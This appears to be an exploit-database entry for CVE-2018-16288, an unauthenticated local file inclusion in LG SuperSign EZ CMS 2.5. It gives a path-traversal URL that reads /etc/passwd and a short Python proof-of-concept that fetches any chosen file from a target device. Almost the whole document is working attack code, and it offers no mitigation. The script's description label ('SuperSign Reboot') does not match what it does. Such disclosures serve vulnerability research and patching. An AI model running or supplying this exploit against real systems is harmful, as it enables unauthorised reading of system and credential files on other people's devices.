LG SuperSign EZ CMS 2.5 Local File Inclusion

`# Exploit Title: LG SuperSign EZ CMS 2.5 - Local File Inclusion  
# Date: 2018-09-13  
# Exploit Author: Alejandro Fanjul  
# Vendor Homepage: https://www.lg.com/ar/software-lg-supersign  
# Version: SuperSign EZ (CMS)  
# Tested on: Web OS 4.0  
# CVE : CVE-2018-16288  
  
# More info: http://mamaquieroserpentester.blogspot.com/2018/09/multiple-vulnerabilities-in-lg.html  
# Any user can read files from the TV, without authentication due to an existing LFI in the following path:  
  
# http://SuperSign_IP:9080/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd  
  
# PoC  
  
import requests  
import re  
from argparse import ArgumentParser  
  
parser = ArgumentParser(description="SuperSign Reboot")  
parser.add_argument("-t", "--target", dest="target",  
help="Target")  
parser.add_argument("-p", "--path", dest="filepath",  
help="path to the file you want to read")  
  
args = parser.parse_args()  
path = args.filepath  
  
s = requests.get('http://'+ str(args.target).replace('\n', '') +'/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'+str(path))  
print s.text  
  
`